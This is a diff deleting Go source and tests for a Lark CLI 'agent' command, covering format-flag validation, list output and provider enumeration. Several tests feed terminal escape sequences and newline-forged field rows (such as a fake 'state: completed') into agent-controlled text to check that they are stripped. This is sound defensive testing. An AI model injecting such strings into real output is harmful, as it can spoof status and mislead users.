-		{"agent", "list", "--format", "yaml"},
-		{"agent", "card", "example:x", "--format", "yaml"},
-		{"agent", "send", "example:x", "--text", "hi", "--format", "yaml"},
-		{"agent", "task", "get", "example:x", "t1", "--format", "yaml"},
-		{"agent", "task", "list", "example:x", "--format", "yaml"},
-		{"agent", "task", "cancel", "example:x", "t1", "--format", "yaml"},
-		{"agent", "context", "list", "example:x", "--format", "yaml"},
-		{"agent", "context", "get", "example:x", "c1", "--format", "yaml"},
-		{"agent", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
-	}
-	for _, argv := range leaves {
-		t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
-			root := agentRootTree()
-			root.SetOut(&bytes.Buffer{})
-			root.SetErr(&bytes.Buffer{})
-			root.SetArgs(argv)
-			err := root.Execute()
-			if err == nil {
-				t.Fatalf("%v should report a --format validation error", argv)
-			}
-			if !errs.IsValidation(err) {
-				t.Fatalf("should be a validation error, got %T: %v", err, err)
-			}
-			if output.ExitCodeOf(err) != output.ExitValidation {
-				t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-			}
-			p, ok := errs.ProblemOf(err)
-			if !ok || !strings.Contains(p.Hint, "json | pretty") {
-				t.Errorf("hint should contain json | pretty, got %+v", p)
-			}
-		})
-	}
-}
-
-// TestFormatHelpTextUniform pins the mandated uniform help text
-// "output format: json (default) | pretty" across every leaf that has --format.
-func TestFormatHelpTextUniform(t *testing.T) {
-	cmds := map[string]*cobra.Command{
-		"list":           NewCmdAgentList(nil),
-		"card":           NewCmdAgentCard(nil),
-		"send":           NewCmdAgentSend(nil, nil),
-		"task get":       NewCmdAgentTaskGet(nil),
-		"task list":      NewCmdAgentTaskList(nil),
-		"task cancel":    NewCmdAgentTaskCancel(nil),
-		"context list":   NewCmdAgentContextList(nil),
-		"context get":    NewCmdAgentContextGet(nil),
-		"context delete": NewCmdAgentContextDelete(nil),
-	}
-	for name, cmd := range cmds {
-		fl := cmd.Flags().Lookup("format")
-		if fl == nil {
-			t.Errorf("%s should have a --format flag", name)
-			continue
-		}
-		if fl.DefValue != "json" {
-			t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
-		}
-		if fl.Usage != "output format: json (default) | pretty" {
-			t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
-		}
-	}
-}
-
-// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
-// all removed before agent text reaches a terminal.
-func TestStripANSI(t *testing.T) {
-	for _, tt := range []struct{ in, want string }{
-		{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
-		{"a\x1bb", "ab"}, // bare ESC
-		{"t\x1b]0;evil\x07x", "tx"},
-		{"clean 文本", "clean 文本"},
-	} {
-		if got := stripANSI(tt.in); got != tt.want {
-			t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
-		}
-	}
-}
-
-// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
-// key: value with state / task_id / context_id / first text message truncated
-// to 120 runes / artifacts count — and the agent-controlled text stripped of
-// ANSI escapes.
-func TestPrintTaskPretty(t *testing.T) {
-	long := strings.Repeat("字", 130)
-	task := &iagent.AgentTask{
-		TaskID:    "chat_1",
-		ContextID: "sess_1",
-		State:     iagent.StateCompleted,
-		Messages: []iagent.Message{{
-			Role:  "agent",
-			Parts: []iagent.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
-		}},
-		Artifacts: []iagent.Artifact{{ID: "a1"}, {ID: "a2"}},
-	}
-	out := &bytes.Buffer{}
-	printTaskPretty(out, task)
-	text := out.String()
-
-	for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
-	}
-	if strings.Contains(text, long) {
-		t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
-	}
-	if !strings.Contains(text, strings.Repeat("字", 120)) {
-		t.Errorf("body should keep the first 120 chars, got:\n%s", text)
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
-// fix: agent text containing newlines must not be able to fake an adjacent
-// field row ("done\nstate: completed") — \n/\t in single-line values collapse
-// to spaces, so exactly one state: line exists.
-func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
-	task := &iagent.AgentTask{
-		TaskID: "chat_1",
-		State:  iagent.StateFailed,
-		Messages: []iagent.Message{{
-			Role:  "agent",
-			Parts: []iagent.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
-		}},
-	}
-	out := &bytes.Buffer{}
-	printTaskPretty(out, task)
-
-	var stateLines int
-	for _, line := range strings.Split(out.String(), "\n") {
-		if strings.HasPrefix(line, "state: ") {
-			stateLines++
-		}
-	}
-	if stateLines != 1 {
-		t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
-	}
-	if !strings.Contains(out.String(), "state: failed") {
-		t.Errorf("the real state line should remain, got:\n%s", out.String())
-	}
-	if !strings.Contains(out.String(), "text: done state: completed ok") {
-		t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
-	}
-}
-
-// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
-// the context title row.
-func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextDetailPretty(out, &iagent.ContextDetail{
-		ContextID: "sess_1",
-		Title:     "标题\ncontext_id: forged",
-	})
-	var idLines int
-	for _, line := range strings.Split(out.String(), "\n") {
-		if strings.HasPrefix(line, "context_id: ") {
-			idLines++
-		}
-	}
-	if idLines != 1 {
-		t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
-	}
-}
-
-// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
-func TestPrintTaskPretty_NilTask(t *testing.T) {
-	out := &bytes.Buffer{}
-	printTaskPretty(out, nil)
-	if out.Len() == 0 {
-		t.Error("nil task should print a placeholder line")
-	}
-}
-
-// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
-// naming the json fields (now including UPDATED_AT + SUMMARY), then one
-// tab-separated row per task. Summary is agent-controlled, so it is
-// ANSI-stripped AND newline/tab-flattened via kvValue.
-func TestPrintTaskSummariesTSV(t *testing.T) {
-	out := &bytes.Buffer{}
-	printTaskSummariesTSV(out, []iagent.TaskSummary{
-		{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateCompleted, IsTerminal: true,
-			UpdatedAt: "2026-07-05T12:00:00Z", Summary: "分析\n完成\x1b[0m"},
-	})
-	lines := strings.Split(strings.TrimSpace(out.String()), "\n")
-	if len(lines) != 2 {
-		t.Fatalf("should have a header + 1 data row, got %q", out.String())
-	}
-	if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY" {
-		t.Errorf("header columns should match the json field names, got %q", lines[0])
-	}
-	// Summary: ANSI escape stripped, newline flattened to a space.
-	if lines[1] != "chat_1\tsess_1\tcompleted\ttrue\t2026-07-05T12:00:00Z\t分析 完成" {
-		t.Errorf("data row mismatch, got %q", lines[1])
-	}
-}
-
-// TestPrintContextsTSV pins the context-list pretty spec: header row (now
-// carrying the UPDATED_AT / TASK_COUNT / AWAITING_INPUT rollup columns) plus
-// rows, with the agent-controlled Title stripped of ANSI escapes.
-func TestPrintContextsTSV(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextsTSV(out, []iagent.ContextSummary{
-		{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", UpdatedAt: "2026-07-05T12:00:00+08:00",
-			Title: "\x1b[2J销售分析", TaskCount: 3, AwaitingInput: true},
-	})
-	text := out.String()
-	if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n") {
-		t.Errorf("should have a header row with the rollup columns, got %q", text)
-	}
-	if !strings.Contains(text, "销售分析") {
-		t.Errorf("should contain the title text, got %q", text)
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in Title must be stripped: %q", text)
-	}
-	// The rollup columns (task_count + awaiting_input) trail the row.
-	if !strings.Contains(text, "\t3\ttrue") {
-		t.Errorf("should carry the task_count + awaiting_input rollup, got %q", text)
-	}
-}
-
-// TestPrintContextDetailPretty pins the context-get pretty rendering as a
-// conversation overview: metadata + the task_count / awaiting_input rollup and
-// a one-line active_task digest — NOT a full tasks[] list (that is `agent task
-// list --context-id`). Title and the active-task Summary are agent-controlled,
-// so both are ANSI-stripped + newline-flattened.
-func TestPrintContextDetailPretty(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextDetailPretty(out, &iagent.ContextDetail{
-		ContextID:     "sess_1",
-		CreatedAt:     "2026-07-05T10:00:00+08:00",
-		UpdatedAt:     "2026-07-05T12:00:00+08:00",
-		Title:         "\x1b[31m分析\x1b[0m",
-		TaskCount:     2,
-		AwaitingInput: true,
-		ActiveTask: &iagent.TaskSummary{
-			TaskID: "chat_2", State: iagent.StateInputRequired,
-			UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供\n季度\x1b[0m",
-		},
-	})
-	text := out.String()
-	for _, want := range []string{
-		"context_id: sess_1", "updated_at: 2026-07-05T12:00:00+08:00", "title: 分析",
-		"task_count: 2", "awaiting_input: true", "active_task: input_required",
-	} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	// active-task Summary: newline flattened to a space.
-	if !strings.Contains(text, "请提供 季度") {
-		t.Errorf("active_task summary should be ANSI-stripped + newline-flattened, got:\n%s", text)
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences must be stripped: %q", text)
-	}
-	// The full task enumeration must NOT appear here anymore.
-	if strings.Contains(text, "tasks:") {
-		t.Errorf("context get should no longer render a tasks[] list, got:\n%s", text)
-	}
-}
-
-// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
-// built from the real command path + Use shape, so the caller learns what is
-// missing instead of cobra's bare "accepts 2 arg(s)".
-func TestExactArgsUsageHint(t *testing.T) {
-	root := agentRootTree()
-	root.SetOut(&bytes.Buffer{})
-	root.SetErr(&bytes.Buffer{})
-	root.SetArgs([]string{"agent", "task", "get", "example:x"}) // missing task-id
-	err := root.Execute()
-	if err == nil {
-		t.Fatal("task get with a single argument should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent task get <agent_ref> <task-id>") {
-		t.Fatalf("hint should contain the usage string, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-	}
-}
-
-// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
-// (`agent list [scheme]`).
-func TestMaximumArgsUsageHint(t *testing.T) {
-	root := agentRootTree()
-	root.SetOut(&bytes.Buffer{})
-	root.SetErr(&bytes.Buffer{})
-	root.SetArgs([]string{"agent", "list", "example", "extra"})
-	err := root.Execute()
-	if err == nil {
-		t.Fatal("list with more than 1 positional argument should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent list [scheme]") {
-		t.Fatalf("hint should contain the usage string, got %+v", p)
-	}
-}

cmd/agent/list.go

@@ -1,207 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// providerInfo describes a registered provider adapter in `agent list` output.
-// Every field is sourced from the registered iagent.Provider (the single
-// source of truth).
-type providerInfo struct {
-	Scheme         string `json:"scheme"`
-	Label          string `json:"label"`
-	AgentRefFormat string `json:"agent_ref_format"`
-	Kind           string `json:"kind"`
-	AgentIDSource  string `json:"agent_id_source"`
-}
-
-// listOptions holds all inputs for `agent list [scheme]`.
-type listOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Scheme  string
-	Format  string
-	As      string
-}
-
-// NewCmdAgentList builds `agent list [scheme]`. Without an argument it
-// enumerates the registered provider adapters with their metadata — a
-// pure, API-free listing. With a scheme it performs second-level discovery:
-// catalog providers enumerate offline from their static set; instance providers
-// enumerate via their optional ListAgents hook (absent ⇒ unsupported_capability
-// with the agent_id_source guidance). Risk=read.
-func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
-	opts := &listOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list [scheme]",
-		Short: "List registered agent providers, or enumerate the agents under one provider",
-		Long:  "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
-		Args:  maximumArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			if len(args) == 1 {
-				opts.Scheme = args[0]
-			}
-			return agentListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	// --as only matters for the online `list <scheme>` enumeration (an instance
-	// provider's ListAgents call); the no-scheme provider listing is offline and
-	// identity-independent, so it ignores --as.
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// agentListRun dispatches `agent list [scheme]`: with a scheme it lists that
-// provider's agents (second-level discovery); without it renders the provider
-// listing. JSON envelope is the default; `pretty` is the opt-in human view.
-func agentListRun(opts *listOptions) error {
-	if opts.Scheme != "" {
-		return agentListSchemeRun(opts)
-	}
-
-	f := opts.Factory
-	providers := listProviders()
-
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
-		for _, p := range providers {
-			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
-		}
-		// agent_id_source is a full sentence — a TSV column would blow out the
-		// row width, so surface it as a per-provider footer instead. This is the
-		// single most important "where do I get an agent_id" cue for newcomers
-		// and must not vanish in the human-readable view.
-		fmt.Fprintln(f.IOStreams.Out)
-		for _, p := range providers {
-			fmt.Fprintf(f.IOStreams.Out, "agent_id 获取（%s）: %s\n", p.Scheme, p.AgentIDSource)
-		}
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:     true,
-		Data:   map[string]interface{}{"providers": providers},
-		Notice: output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// agentListSchemeRun runs `agent list <scheme>`: second-level enumeration for
-// one provider. A catalog provider enumerates OFFLINE from its static set
-// (prov.ListCatalog). An instance provider enumerates ONLINE via its optional
-// ListAgents hook (needs a configured client); an instance provider without that
-// hook is not enumerable and returns unsupported_capability + the AgentIDSource
-// hint — surfaced before the client is built.
-func agentListSchemeRun(opts *listOptions) error {
-	f := opts.Factory
-	prov, ok := iagent.Info(opts.Scheme)
-	if !ok {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 agent provider '%s'，当前支持: %s",
-			opts.Scheme, iagent.KnownSchemes()).
-			WithHint("用 lark-cli agent list 查看可用 provider")
-	}
-
-	var agents []iagent.AgentSummary
-	var identity string // set only on the online (instance) path, which resolves one
-	if prov.Kind() == iagent.KindCatalog {
-		agents = prov.ListCatalog() // offline
-	} else {
-		// instance: needs the online ListAgents hook. Absent ⇒ not enumerable.
-		if prov.ListAgents == nil {
-			return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
-				"provider '%s' 暂不支持列举 agent", opts.Scheme).
-				WithHint("%s", prov.AgentIDSource)
-		}
-		// Enumeration is a real online call with no agent_id, so it runs the same
-		// two gates every ref-addressed online verb runs (via resolveSpec +
-		// preflightScopesForRef): the user|bot identity whitelist and the
-		// all-or-nothing scope preflight — keyed on the scheme since there is no ref.
-		// agentID is empty (enumeration is not scoped to a single agent).
-		id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, core.Identity(opts.As))
-		if err := f.CheckIdentity(id, supportedIdentities); err != nil {
-			return err
-		}
-		identity = string(id)
-		rt, err := runtimeFor(f, id, "")
-		if err != nil {
-			return err
-		}
-		if err := preflightScopesForScheme(f, id, opts.Scheme); err != nil {
-			return err
-		}
-		agents, err = prov.ListAgents(opts.Cmd.Context(), rt)
-		if err != nil {
-			return err
-		}
-	}
-	if agents == nil {
-		agents = []iagent.AgentSummary{} // always emit [] not null
-	}
-
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		// Name/Description are agent-controlled remote strings — ANSI-strip
-		// them before writing to the terminal.
-		fmt.Fprintf(f.IOStreams.Out, "AGENT_REF\tNAME\tDESCRIPTION\n")
-		for _, a := range agents {
-			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\n", stripANSI(a.AgentRef), stripANSI(a.Name), stripANSI(a.Description))
-		}
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: identity, // empty for the offline catalog path (omitempty)
-		Data:     map[string]interface{}{"agents": agents},
-		Meta:     &output.Meta{Count: len(agents)},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// listProviders builds the provider descriptors from the built-in registry so
-// the listing stays in sync with whatever adapters are registered.
-func listProviders() []providerInfo {
-	schemes := iagent.RegisteredSchemes()
-	out := make([]providerInfo, 0, len(schemes))
-	for _, s := range schemes {
-		// s comes from RegisteredSchemes, so Info always succeeds.
-		prov, _ := iagent.Info(s)
-		out = append(out, providerInfo{
-			Scheme:         s,
-			Label:          prov.Label,
-			AgentRefFormat: prov.AgentRefFormat(),
-			Kind:           string(prov.Kind()),
-			AgentIDSource:  prov.AgentIDSource,
-		})
-	}
-	return out
-}

cmd/agent/list_test.go

@@ -1,493 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// listFactory returns a Factory writing to a fresh stdout buffer plus a
-// listOptions bound to it, ready to drive agentListRun without any API.
-func listFactory() (*listOptions, *bytes.Buffer) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	return &listOptions{Factory: f, Format: "json"}, out
-}
-
-// decodeProviders unmarshals the envelope on out and returns data.providers.
-func decodeProviders(t *testing.T, out *bytes.Buffer) []interface{} {
-	t.Helper()
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
-	}
-	data, _ := env.Data.(map[string]interface{})
-	providers, _ := data["providers"].([]interface{})
-	return providers
-}
-
-// findProvider returns the provider entry whose scheme matches, or nil.
-func findProvider(providers []interface{}, scheme string) map[string]interface{} {
-	for _, pv := range providers {
-		p, _ := pv.(map[string]interface{})
-		if p["scheme"] == scheme {
-			return p
-		}
-	}
-	return nil
-}
-
-// TestAgentListRun_ProviderFieldsV2 pins the provider entry contract: the
-// example entry carries all fields sourced from iagent.Info (the single source
-// of truth), the legacy free-text description field is gone, and discoverable
-// is no longer exposed.
-func TestAgentListRun_ProviderFieldsV2(t *testing.T) {
-	opts, out := listFactory()
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list should not error: %v", err)
-	}
-	prov, ok := iagent.Info("example")
-	if !ok {
-		t.Fatal("the example provider should already be registered (top-level agent blank import)")
-	}
-	p := findProvider(decodeProviders(t, out), "example")
-	if p == nil {
-		t.Fatalf("list should include the example provider: %s", out.String())
-	}
-	if p["label"] != prov.Label {
-		t.Errorf("label should come from Provider.Label %q, got %v", prov.Label, p["label"])
-	}
-	if p["agent_ref_format"] != prov.AgentRefFormat() {
-		t.Errorf("agent_ref_format should come from Provider.AgentRefFormat() %q, got %v", prov.AgentRefFormat(), p["agent_ref_format"])
-	}
-	if p["kind"] != string(prov.Kind()) {
-		t.Errorf("kind should come from Provider.Kind() %q, got %v", prov.Kind(), p["kind"])
-	}
-	if p["agent_id_source"] != prov.AgentIDSource {
-		t.Errorf("agent_id_source should come from Provider.AgentIDSource, got %v", p["agent_id_source"])
-	}
-	if _, present := p["description"]; present {
-		t.Errorf("the old description field should be removed (double-source with label), got %v", p)
-	}
-	if _, present := p["discoverable"]; present {
-		t.Errorf("the discoverable field should be removed from the provider list, got %v", p["discoverable"])
-	}
-}
-
-// TestAgentListRun_EnvelopeShape verifies the JSON envelope carries
-// data.providers[] with the full field contract.
-func TestAgentListRun_EnvelopeShape(t *testing.T) {
-	opts, out := listFactory()
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, out.String())
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	providers := decodeProviders(t, out)
-	if len(providers) == 0 {
-		t.Fatalf("data.providers should be a non-empty array: %s", out.String())
-	}
-	first, ok := providers[0].(map[string]interface{})
-	if !ok {
-		t.Fatalf("provider entry should be an object, got %T", providers[0])
-	}
-	for _, key := range []string{"scheme", "label", "agent_ref_format", "kind", "agent_id_source"} {
-		if _, present := first[key]; !present {
-			t.Errorf("provider entry missing field %q: %v", key, first)
-		}
-	}
-	if _, present := first["discoverable"]; present {
-		t.Errorf("provider entry should not contain a discoverable field: %v", first)
-	}
-}
-
-// TestAgentListDefaultFormatIsJSON pins the default flip: `agent list`
-// without --format emits the JSON envelope (pretty is opt-in).
-func TestAgentListDefaultFormatIsJSON(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	cmd := NewCmdAgentList(f)
-	cmd.SetOut(&bytes.Buffer{})
-	cmd.SetErr(&bytes.Buffer{})
-	cmd.SetArgs([]string{})
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("agent list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("default output should be a JSON envelope: %v (%s)", err, out.String())
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-}
-
-// TestAgentListRun_PrettyFormat pins the opt-in --format pretty branch: a header
-// row plus tab-separated provider lines, not a JSON envelope.
-func TestAgentListRun_PrettyFormat(t *testing.T) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
-	f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut}}
-	opts := &listOptions{Factory: f, Format: "pretty"}
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list pretty should not error: %v", err)
-	}
-	text := out.String()
-	// A pretty rendering is human text, not a JSON envelope.
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Fatalf("pretty format should not output a JSON envelope: %s", text)
-	}
-	if !strings.HasPrefix(text, "SCHEME") {
-		t.Errorf("pretty output should start with a header row: %s", text)
-	}
-	if !strings.Contains(text, "example") {
-		t.Errorf("pretty output should contain the example provider: %s", text)
-	}
-	if !strings.Contains(text, "example:<agent_id>") {
-		t.Errorf("pretty output should contain the example ref format: %s", text)
-	}
-	// agent_id_source is surfaced as a footer (not a column) so the newcomer's
-	// "where do I get an agent_id" cue does not disappear in the pretty view.
-	if !strings.Contains(text, "agent_id 获取") {
-		t.Errorf("pretty output should contain the agent_id_source footer hint: %s", text)
-	}
-}
-
-// TestAgentListScheme_UnsupportedCapability pins that `agent list fakeflow`
-// on a provider without Discoverer is unsupported_capability (exit 2) with the
-// AgentIDSource text as hint, and — because the probe runs before any client
-// construction — works on an unconfigured Factory.
-func TestAgentListScheme_UnsupportedCapability(t *testing.T) {
-	registerScripted()
-	opts, _ := listFactory()
-	opts.Scheme = "fakeflow"
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("fakeflow does not implement Discoverer, so list fakeflow should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T (%v)", err, err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitValidation {
-		t.Fatalf("exit code should be 2, got %d", code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if !strings.Contains(err.Error(), "provider 'fakeflow' 暂不支持列举 agent") {
-		t.Errorf("message should state that listing is not supported, got %q", err.Error())
-	}
-	if !strings.Contains(p.Hint, fakeflowAgentIDSource) {
-		t.Errorf("hint should be the AgentIDSource text, got %q", p.Hint)
-	}
-}
-
-// TestAgentListScheme_UnknownScheme pins that an unregistered scheme is
-// invalid_argument and the message lists the registered schemes.
-func TestAgentListScheme_UnknownScheme(t *testing.T) {
-	opts, _ := listFactory()
-	opts.Scheme = "nosuch"
-	err := agentListRun(opts)
-	if err == nil {
-		t.Fatal("an unknown scheme should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T (%v)", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(err.Error(), "nosuch") || !strings.Contains(err.Error(), "example") {
-		t.Errorf("message should contain the unknown scheme and the registered scheme list, got %q", err.Error())
-	}
-	// Hand-written validation errors carry a recovery hint pointing at
-	// `agent list` for provider discovery.
-	if !strings.Contains(p.Hint, "agent list") {
-		t.Errorf("unknown-scheme hint should point to `agent list`, got %q", p.Hint)
-	}
-}
-
-// catSpec builds a catalog AgentSpec with the mandatory core hooks (the list
-// tests only exercise enumeration, never Send/GetTask, but Register requires
-// both non-nil).
-func catSpec(id, name, desc string) iagent.AgentSpec {
-	return iagent.AgentSpec{
-		ID: id, Name: name, Description: desc,
-		Send:    func(context.Context, iagent.Runtime, iagent.SendInput) (*iagent.AgentTask, error) { return nil, nil },
-		GetTask: func(context.Context, iagent.Runtime, string) (*iagent.AgentTask, error) { return nil, nil },
-	}
-}
-
-// registerFakeDisc registers a catalog scheme with two entries. Its enumeration
-// is derived offline from the static Catalog. It leaks into the package-level
-// registry for the rest of this package run.
-func registerFakeDisc() {
-	iagent.Register(iagent.Provider{
-		Scheme:        "fakedisc",
-		Label:         "test fake (catalog)",
-		AgentIDSource: "test only",
-		Identities:    []iagent.IdentitySpec{{Type: iagent.IdentityUser}},
-		Catalog: []iagent.AgentSpec{
-			catSpec("a1", "Agent One", "第一个"),
-			catSpec("a2", "Agent Two", ""),
-		},
-	})
-}
-
-// TestAgentListScheme_CatalogListsAgents pins the catalog positive path: a
-// catalog provider enumerates its static entries offline into
-// {agents:[AgentSummary...]} + meta.count (sorted by AgentRef).
-func TestAgentListScheme_CatalogListsAgents(t *testing.T) {
-	registerFakeDisc()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	cmd := &cobra.Command{Use: "list"}
-	cmd.SetContext(context.Background())
-	opts := &listOptions{Factory: f, Cmd: cmd, Format: "json", Scheme: "fakedisc"}
-	out := f.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentListRun(opts); err != nil {
-		t.Fatalf("list fakedisc should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	agents, ok := data["agents"].([]interface{})
-	if !ok || len(agents) != 2 {
